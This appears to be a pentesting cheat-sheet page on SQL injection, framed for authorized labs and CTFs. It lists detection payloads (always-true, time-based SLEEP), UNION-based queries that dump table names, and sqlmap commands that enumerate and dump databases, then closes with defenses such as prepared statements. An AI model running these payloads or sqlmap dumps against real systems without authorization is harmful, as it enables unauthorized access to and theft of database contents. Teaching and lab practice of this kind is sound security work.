⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.
SQL injection (SQLi) occurs when user input is concatenated into a database query, letting an attacker alter the query's logic. Practice on DVWA or labs in Building a Home Pentest Lab.
Detection
Break the query and watch for errors or behavior changes:
' → error? (error-based)
' OR '1'='1 → auth bypass / always-true
1' AND SLEEP(5)-- - → delay? (blind, time-based)Manual UNION extraction
-- find column count
' ORDER BY 4-- -
-- find reflected columns
' UNION SELECT 1,2,3,4-- -
-- dump data
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- -sqlmap (automation)
sqlmap -u "https://target/item?id=1" --batch --dbs
sqlmap -r request.txt --level 5 --risk 3 --dump # request.txt saved from Burp| Type | Signal |
|---|---|
| Error-based | DB error in response |
| UNION-based | Data reflected in page |
| Boolean blind | True/false page diff |
| Time blind | Response delay |
Defense: parameterized queries / prepared statements, least-privilege DB users, input validation. See MariaDB Socket Auth vs TCP Users for least-privilege DB accounts.